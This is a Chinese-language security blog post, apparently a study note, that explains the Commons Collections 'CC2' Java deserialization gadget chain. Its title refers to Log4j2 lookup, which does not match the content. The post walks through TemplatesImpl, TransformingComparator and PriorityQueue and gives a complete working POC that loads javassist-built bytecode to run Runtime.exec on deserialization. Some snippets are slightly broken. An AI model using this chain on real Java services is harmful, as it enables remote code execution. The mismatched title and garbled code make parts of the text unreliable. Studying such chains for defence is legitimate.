Log4j2 研究之lookup
看你们也就看个乐子,真分析还得看我宽字节师傅们的。
0x01.前言
同CC1相比,CC2可以触发代码执行,更灵活一些,在版本方面,JDK1.7 和 1.8都可使用, commons-collections
需要4.0版本
maven配置为
<dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0</version> </dependency>
还是先来分析一个简单的代码执行后再深入分析
0x02.TemplatesImpl类
该类位于com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
先来一段代码
Class classz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); Object o = classz.newInstance(); Method method = classz.getMethod("newTransformer"); method.setAccessible(true); Field field = classz.getDeclaredField("_bytecodes"); byte[] files = Files.readAllBytes(Paths.get("E:\\javapro\\serandfor\\src\\main\\java\\com\\seri\\payload.class")); byte[][] b = {payload.toBytecode()}; field.setAccessible(true); field.set(o,b); Field field2 = classz.getDeclaredField("_name"); field2.setAccessible(true); field2.set(o,"test"); Field field3 = classz.getDeclaredField("_tfactory"); field3.setAccessible(true); field3.set(o,new TransformerFactoryImpl()); method.invoke(o);
一个基础思路是,通过defineClass去加载一个自定义的class文件的内容,之后实例化,触发代码 执行。在defineTransletClasses
函数中调用 内部类TransletClassLoader
中的defineClass类
可以看到继承了ClassLoader类,并调用了ClassLoader中的defineClass
函数进行类加载操作。
但是defineTransletClasses
函数是私有的,无法进行直接调用,所以需要找到一个public口
在本类的getTransletInstance
方法中调用了defineTransletClasses
,并且将返回的Class对象进行 了实例化操作,就可以触发构造函数和静态代码块中的代码了。
但是该函数还是private,在往上找,在本类的newTransformer
方法中调用了 getTransletInstance
,并且为public
所以调用流程为TemplatesImpl->newTransformer->getTransletInstance>defineTransletClasses
接下来分析一下为了让代码顺利执行,需要一些属性的赋值,该类的属性大多为private,需使用反射赋值。
先看newTransformer
函数,并没有什么需要赋值的就可以执行到getTransletInstance
函数了。
getTransletInstance
函数中需要让_name 属性不为null即可调用defineTransletClasses
函数,其 中_class是一个Class类型数组。
接下来仔细分析一下defineTransletClasses
函数。(JDK1.8下)
private void defineTransletClasses() throws TransformerConfigurationException { if (_bytecodes == null) {//_bytecodes属性不能为null 为byte型二维数组 byte[] []_bytecodes ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR); throw new TransformerConfigurationException(err.toString()); } TransletClassLoader loader = (TransletClassLoader) AccessController.doPrivileged(new PrivilegedAction() { public Object run() { //需要对_tfactory属性赋值 //private transient TransformerFactoryImpl _tfactory = null; //transient代表不对其进行序列化,赋值为TransformerFactoryImpl对象即可 return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap()); } }); try { final int classCount = _bytecodes.length; _class = new Class[classCount]; if (classCount > 1) { _auxClasses = new HashMap<>(); } for (int i = 0; i < classCount; i++) { //循环_bytecodes数组,将每一个byte数组通过defineClass类加载成Class对象 _class[i] = loader.defineClass(_bytecodes[i]); final Class superClass = _class[i].getSuperclass(); //获取转换的类的父类信息 //为了保证后续的实例化,_transletIndex不能小于0,就必须进入下方的if判断 //父类的名字必须为ABSTRACT_TRANSLET,值为 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; } else { _auxClasses.put(_class[i].getName(), _class[i]); } } if (_transletIndex < 0) { //_transletIndex不能小于0,否则会抛出异常,程序终止, 无法执行到getTransletInstance函数的newInstance语句 ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name); throw new TransformerConfigurationException(err.toString()); } } catch (ClassFormatError e) { ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name); throw new TransformerConfigurationException(err.toString()); } catch (LinkageError e) { ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException(err.toString()); } }
注意一下JDK1.7中其实无需赋值_tfactory属性,因为并没有去调用。
所以我们需要赋值的三个属性为_bytecodes
_name
_tfactory
其中_bytecodes 为我们要构造的类的class文件的byte数组,这个类我们可以随意构造,类实例化 操作后会执行静态代码块和构造函数,我们在其中构造危险代码即可。(注意因为上方代码问题需要使这个类继承AbstractTranslet
类)
最开始读取的class文件代码为
但是这段语句是直接从本地文件读取,在利用上可能较为不方便,所以修改为javassist
来动态生成 class类
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"; ClassPool classPool=ClassPool.getDefault();//返回默认的类池 classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径 CtClass payload=classPool.makeClass("payload2");//创建一个新的public类 payload.setSuperclass(classPool.get(AbstractTranslet)); //设置父类为 AbstractTranslet payload.makeClassInitializer().setBody("Runtime.getRuntime().exec(\"calc\");"); // 设置静态代码块 Class classz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); Object o = classz.newInstance(); Method method = classz.getMethod("newTransformer"); method.setAccessible(true); Field field = classz.getDeclaredField("_bytecodes"); byte[][] b = {payload.toBytecode()}; field.setAccessible(true); field.set(o,b); Field field2 = classz.getDeclaredField("_name"); f ield2.setAccessible(true); field2.set(o,"test"); Field field3 = classz.getDeclaredField("_tfactory"); field3.setAccessible(true); field3.set(o,new TransformerFactoryImpl()); method.invoke(o);
到此底层的逻辑构造完成。
0x03.TransformingComparator
这里需要想的是怎么能调用newTransformer
函数,这里可以用到CC1中的InvokerTransformer
的 transform方法去调用。
只要确保input的值为TemplatesImpl
对象,就可以通过反射调用其newTransformer
函数。
这时候来看TransformingComparator
类,通过构造函数可以指定transformer为 InvokerTransformer
,之后在compare函数中调用其transform方法。
对应POC代码为
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer",null,null); TransformingComparator trans = new TransformingComparator(invokerTransformer);
之后寻找调用compare方法的位置。
0x04.PriorityQueue
既要调用TransformingComparator
类的compare方法,又要确保obj1的值为TemplatesImpl
对象。
来看PriorityQueue
类,是一个处理队列相关的类。
首先siftDownUsingComparator
方法会调用comparator对象的compare方法
在siftDown
方法中又会调用siftDownUsingComparator
方法,
在heapify
方法中又会调用siftDown
方法,
在readObject
方法中调用了heapify
正向来看就是
PriorityQueue->readObject->heapify->siftDown->siftDownUsingComparator>comparator.compare
POC代码为
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer",null,null); TransformingComparator trans = new TransformingComparator(invokerTransformer); PriorityQueue queue = new PriorityQueue(2); queue.add(1); queue.add(1); Field field4=queue.getClass().getDeclaredField("comparator"); field4.setAccessible(true); field4.set(queue,trans); Field field5=queue.getClass().getDeclaredField("queue"); field5.setAccessible(true); field5.set(queue,new Object[]{templatesImpl,templatesImpl});
PriorityQueue
的comparator类型为Comparator接口,而TransformingComparator
同样实现了 该接口
所以通过反射将其值改为构造好的TransformingComparator
对象,这样就会调用comparator方 法,之后再调用InvokerTransformer
的transform方法。
这时候我们需要满足的就是这个c对象的值为TemplatesImp
l对象即可。
c的值通过queue数组获取,而queue为Object类型数组
这样通过反射为其赋值为templatesImpl
对象数组即可。这样就能保证c的值为templatesImpl
对象。
完整POC为
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"; ClassPool classPool=ClassPool.getDefault();//返回默认的类池 classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径 CtClass payload=classPool.makeClass("payload2");//创建一个新的public类 payload.setSuperclass(classPool.get(AbstractTranslet)); //设置父类为 AbstractTranslet payload.makeClassInitializer().setBody("Runtime.getRuntime().exec(\"calc\");"); // 设置静态代码块 Class classz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); Object templatesImpl = classz.newInstance(); Method method = classz.getMethod("newTransformer"); method.setAccessible(true); Field field = classz.getDeclaredField("_bytecodes"); byte[][] b = {payload.toBytecode()}; field.setAccessible(true); field.set(templatesImpl,b); Field field2 = classz.getDeclaredField("_name"); field2.setAccessible(true); field2.set(templatesImpl,"test"); Field field3 = classz.getDeclaredField("_tfactory"); //这里赋值没有意义 field3.setAccessible(true); field3.set(templatesImpl,new TransformerFactoryImpl()); InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer",null,null); TransformingComparator trans = new TransformingComparator(invokerTransformer); PriorityQueue queue = new PriorityQueue(2); queue.add(1); queue.add(1); Field field4=queue.getClass().getDeclaredField("comparator"); field4.setAccessible(true); field4.set(queue,trans); Field field5=queue.getClass().getDeclaredField("queue"); field5.setAccessible(true); field5.set(queue,new Object[]{templatesImpl,templatesImpl}); //序列化 FileOutputStream fileOutputStream = new FileOutputStream("serialize3.txt"); ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream); objectOutputStream.writeObject(queue); objectOutputStream.close(); //反序列化 FileInputStream fileInputStream = new FileInputStream("serialize3.txt"); ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream); Object result = objectInputStream.readObject(); objectInputStream.close();
执行链为:
->PriorityQueue类 ->readObject ->heapify ->siftDown ->siftDownUsingComparator ->TransformingComparator类 ->compare ->InvokerTransformer类 ->transform ->TemplatesImpl类 ->newTransformer ->getTransletInstance ---->调用完defineTransletClasses后调用newInstance实例化对象,触发静态代码块中的危险代码 ->defineTransletClasses
0x05.总结
这里还有个问题,TemplatesImpl
中_tfactory
的类型为transient
,数据不进行序列化操作,所以我们通过反射给其赋值也没有意义,那如何经过代码呢, 其实在readObject方法中有手动赋值的操作。
再来看PriorityQueue
类的queue属性也为transient
,默认不进行序列化,但是在readObject方法 中进行取值了。
那这个值是怎么来的呢?是因为在writeObject方法中进行了手动序列化